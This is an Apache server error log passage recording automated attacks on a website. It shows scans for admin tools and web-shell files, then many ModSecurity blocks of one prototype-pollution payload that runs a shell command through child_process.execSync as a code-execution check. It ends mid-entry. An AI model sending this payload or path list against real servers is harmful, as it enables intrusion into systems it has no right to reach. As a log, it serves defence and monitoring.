/usr/local/apache/htdocs/modules.php [Wed Dec 17 06:49:50.520118 2025] [:error] [pid 26418:tid 26491] [client 52.141.46.214:38484] File does not exist: /usr/local/apache/htdocs/home.php [Wed Dec 17 06:49:50.722309 2025] [:error] [pid 26419:tid 26444] [client 52.141.46.214:38486] File does not exist: /usr/local/apache/htdocs/guestbook.php [Wed Dec 17 06:49:50.934442 2025] [:error] [pid 26922:tid 26933] [client 52.141.46.214:38490] File does not exist: /usr/local/apache/htdocs/gastenboek.php [Wed Dec 17 06:49:51.142116 2025] [:error] [pid 26922:tid 26946] [client 52.141.46.214:38492] File does not exist: /usr/local/apache/htdocs/Guestbook.php [Wed Dec 17 06:49:51.363317 2025] [:error] [pid 26420:tid 26475] [client 52.141.46.214:38496] File does not exist: /usr/local/apache/htdocs/jax_guestbook.php [Wed Dec 17 06:49:51.567039 2025] [:error] [pid 26419:tid 26430] [client 52.141.46.214:38500] File does not exist: /usr/local/apache/htdocs/scarbook.php [Wed Dec 17 06:49:51.772596 2025] [:error] [pid 26922:tid 26945] [client 52.141.46.214:38506] File does not exist: /usr/local/apache/htdocs/gaestebuch.php [Wed Dec 17 06:49:51.981856 2025] [:error] [pid 26922:tid 26924] [client 52.141.46.214:38510] File does not exist: /usr/local/apache/htdocs/gb.php [Wed Dec 17 06:49:52.182689 2025] [:error] [pid 26922:tid 26926] [client 52.141.46.214:38514] File does not exist: /usr/local/apache/htdocs/wp-login.php [Wed Dec 17 06:49:52.383021 2025] [:error] [pid 26922:tid 26948] [client 52.141.46.214:38516] File does not exist: /usr/local/apache/htdocs/adminer-4.6.3.php [Wed Dec 17 06:49:52.604446 2025] [:error] [pid 26922:tid 26928] [client 52.141.46.214:38520] File does not exist: /usr/local/apache/htdocs/db.php [Wed Dec 17 06:49:52.818354 2025] [:error] [pid 26922:tid 26930] [client 52.141.46.214:38524] File does not exist: /usr/local/apache/htdocs/olux.php [Wed Dec 17 06:49:53.035097 2025] [:error] [pid 26922:tid 26943] [client 52.141.46.214:38528] File does not exist: /usr/local/apache/htdocs/indoxploit.php [Wed Dec 17 06:49:53.235399 2025] [:error] [pid 26922:tid 26935] [client 52.141.46.214:38532] File does not exist: /usr/local/apache/htdocs/wso.php [Wed Dec 17 06:49:53.459124 2025] [:error] [pid 26419:tid 26448] [client 52.141.46.214:38536] File does not exist: /usr/local/apache/htdocs/up.php [Wed Dec 17 06:49:53.678488 2025] [:error] [pid 26419:tid 26437] [client 52.141.46.214:38540] File does not exist: /usr/local/apache/htdocs/upload.php [Wed Dec 17 06:49:54.211539 2025] [:error] [pid 26420:tid 26454] [client 52.141.46.214:38546] File does not exist: /usr/local/apache/htdocs/shell.php [Wed Dec 17 06:49:54.411934 2025] [:error] [pid 26419:tid 26428] [client 52.141.46.214:38550] File does not exist: /usr/local/apache/htdocs/adminer-4.6.2.php [Wed Dec 17 06:49:54.626384 2025] [:error] [pid 26922:tid 26944] [client 52.141.46.214:38556] File does not exist: /usr/local/apache/htdocs/adminer-4.6.1.php [Wed Dec 17 06:49:54.827918 2025] [:error] [pid 26418:tid 26482] [client 52.141.46.214:38560] File does not exist: /usr/local/apache/htdocs/adminer-4.6.0.php [Wed Dec 17 06:49:55.031285 2025] [:error] [pid 26419:tid 26435] [client 52.141.46.214:38566] File does not exist: /usr/local/apache/htdocs/adminer.php [Wed Dec 17 06:49:55.431279 2025] [:error] [pid 26420:tid 26457] [client 52.141.46.214:38574] File does not exist: /usr/local/apache/htdocs/adminer-4.5.0.php [Wed Dec 17 06:49:55.633929 2025] [:error] [pid 26922:tid 26936] [client 52.141.46.214:38580] File does not exist: /usr/local/apache/htdocs/adminer-4.4.0.php [Wed Dec 17 06:49:56.078131 2025] [:error] [pid 26922:tid 26937] [client 52.141.46.214:38592] File does not exist: /usr/local/apache/htdocs/adminer-4.3.1.php [Wed Dec 17 06:49:56.290531 2025] [:error] [pid 26420:tid 26458] [client 52.141.46.214:38596] File does not exist: /usr/local/apache/htdocs/adminer-4.3.0.php [Wed Dec 17 06:49:56.495716 2025] [:error] [pid 26922:tid 26943] [client 52.141.46.214:38602] File does not exist: /usr/local/apache/htdocs/adminer-4.2.5.php [Wed Dec 17 06:49:56.699986 2025] [:error] [pid 26922:tid 26947] [client 52.141.46.214:38608] File does not exist: /usr/local/apache/htdocs/adminer-4.2.4.php [Wed Dec 17 06:49:56.903454 2025] [:error] [pid 26922:tid 26945] [client 52.141.46.214:38612] File does not exist: /usr/local/apache/htdocs/adminer-4.2.3.php [Wed Dec 17 06:49:57.257376 2025] [:error] [pid 26922:tid 26924] [client 52.141.46.214:38620] File does not exist: /usr/local/apache/htdocs/adminer-4.2.2.php [Wed Dec 17 06:49:57.460132 2025] [:error] [pid 26420:tid 26472] [client 52.141.46.214:38626] File does not exist: /usr/local/apache/htdocs/adminer-4.2.1.php [Wed Dec 17 06:49:57.679336 2025] [:error] [pid 26922:tid 26928] [client 52.141.46.214:38632] File does not exist: /usr/local/apache/htdocs/adminer-4.2.0.php [Wed Dec 17 06:49:57.893006 2025] [:error] [pid 26420:tid 26463] [client 52.141.46.214:38638] File does not exist: /usr/local/apache/htdocs/adminer-4.1.0.php [Wed Dec 17 06:49:58.103445 2025] [:error] [pid 26420:tid 26476] [client 52.141.46.214:38644] File does not exist: /usr/local/apache/htdocs/adminer-4.0.3.php [Wed Dec 17 06:49:58.310688 2025] [:error] [pid 26922:tid 26935] [client 52.141.46.214:38652] File does not exist: /usr/local/apache/htdocs/adminer-4.0.2.php [Wed Dec 17 06:49:58.514991 2025] [:error] [pid 26420:tid 26464] [client 52.141.46.214:38658] File does not exist: /usr/local/apache/htdocs/adminer-4.0.1.php [Wed Dec 17 06:49:58.715385 2025] [:error] [pid 26420:tid 26477] [client 52.141.46.214:38664] File does not exist: /usr/local/apache/htdocs/adminer-4.0.0.php [Wed Dec 17 06:49:59.051878 2025] [:error] [pid 26922:tid 26933] [client 52.141.46.214:38674] File does not exist: /usr/local/apache/htdocs/adminer-3.7.1.php [Wed Dec 17 06:49:59.252572 2025] [:error] [pid 26418:tid 26479] [client 52.141.46.214:38680] File does not exist: /usr/local/apache/htdocs/adminer-3.7.0.php [Wed Dec 17 06:49:59.453293 2025] [:error] [pid 26922:tid 26941] [client 52.141.46.214:38686] File does not exist: /usr/local/apache/htdocs/adminer-3.6.4.php [Wed Dec 17 06:49:59.658616 2025] [:error] [pid 26420:tid 26456] [client 52.141.46.214:38692] File does not exist: /usr/local/apache/htdocs/adminer-3.6.3.php [Wed Dec 17 06:49:59.867083 2025] [:error] [pid 26419:tid 26442] [client 52.141.46.214:38704] File does not exist: /usr/local/apache/htdocs/adminer-3.6.2.php [Wed Dec 17 06:50:00.097215 2025] [:error] [pid 26922:tid 26935] [client 52.141.46.214:38712] File does not exist: /usr/local/apache/htdocs/adminer-3.6.1.php [Wed Dec 17 06:50:00.299053 2025] [:error] [pid 26420:tid 26460] [client 52.141.46.214:38720] File does not exist: /usr/local/apache/htdocs/adminer-3.6.0.php [Wed Dec 17 06:50:00.673304 2025] [:error] [pid 26922:tid 26945] [client 52.141.46.214:38732] File does not exist: /usr/local/apache/htdocs/ad.php [Wed Dec 17 06:50:00.878158 2025] [:error] [pid 26420:tid 26468] [client 52.141.46.214:38738] File does not exist: /usr/local/apache/htdocs/regpage.php [Wed Dec 17 06:50:01.104370 2025] [:error] [pid 26922:tid 26926] [client 52.141.46.214:38744] File does not exist: /usr/local/apache/htdocs/phpnet1.php [Wed Dec 17 09:06:53.590198 2025] [:error] [pid 26420:tid 26468] [client 165.227.134.232:53464] [client 165.227.134.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aUK4_TjqDqoGYB5uu99AywAAAI8"] [Wed Dec 17 09:13:32.150526 2025] [:error] [pid 26419:tid 26446] [client 51.68.177.63:34100] [client 51.68.177.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aUK6jNOX4f5e9cApHV64bgAAAFM"] [Wed Dec 17 09:14:34.057109 2025] [:error] [pid 26418:tid 26480] [client 37.187.136.191:35572] [client 37.187.136.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aUK6yhQC3tFnrG06s5qaPgAAAAE"] [Wed Dec 17 09:24:24.615971 2025] [:error] [pid 26922:tid 26932] [client 165.227.134.232:48998] [client 165.227.134.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aUK9GB-ZhhQE392Hz3MHIAAAAMg"] [Wed Dec 17 09:28:28.074604 2025] [:error] [pid 26420:tid 26476] [client 109.73.193.124:54792] [client 109.73.193.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aUK-DDjqDqoGYB5uu99RfQAAAJc"] [Wed Dec 17 09:31:01.314224 2025] [:error] [pid 26419:tid 26450] [client 51.68.177.63:58346] [client 51.68.177.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aUK-pdOX4f5e9cApHV6_mgAAAFc"] [Wed Dec 17 11:24:59.875056 2025] [:error] [pid 26418:tid 26480] [client 54.36.175.199:45336] [client 54.36.175.199] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULZWxQC3tFnrG06s5rE5AAAAAE"] [Wed Dec 17 11:32:19.748474 2025] [:error] [pid 26418:tid 26485] [client 82.165.181.166:55896] [client 82.165.181.166] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULbExQC3tFnrG06s5rHAAAAAAY"] [Wed Dec 17 11:32:34.737787 2025] [:error] [pid 26922:tid 26927] [client 87.106.45.227:56262] [client 87.106.45.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULbIh-ZhhQE392Hz3OVhwAAAMM"] [Wed Dec 17 11:36:37.167711 2025] [:error] [pid 26922:tid 26932] [client 43.246.155.3:33784] [client 43.246.155.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULcFR-ZhhQE392Hz3OaYgAAAMg"] [Wed Dec 17 11:37:22.547511 2025] [:error] [pid 26418:tid 26497] [client 78.129.218.6:34810] [client 78.129.218.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULcQhQC3tFnrG06s5rI1AAAABI"] [Wed Dec 17 11:37:25.210353 2025] [:error] [pid 26419:tid 26432] [client 158.220.114.148:34872] [client 158.220.114.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULcRdOX4f5e9cApHV7w1AAAAEU"] [Wed Dec 17 11:41:17.433099 2025] [:error] [pid 26420:tid 26477] [client 185.30.34.189:40090] [client 185.30.34.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULdLTjqDqoGYB5uu9-2oAAAAJg"] [Wed Dec 17 11:41:51.432051 2025] [:error] [pid 26418:tid 26496] [client 38.242.212.239:40904] [client 38.242.212.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B0\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('echo \\x5c\\x5c$((41*271))',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\\x22,\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22}}}"] [severity [hostname "ayqiq.com"] [uri "/"] [unique_id "aULdTxQC3tFnrG06s5rKwAAAABE"] [Wed Dec 17 11:42:06.868359 2025] [:error] [pid 26922:tid 26927] [client 173.212.244.168:41280] [client 173.212.244.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: 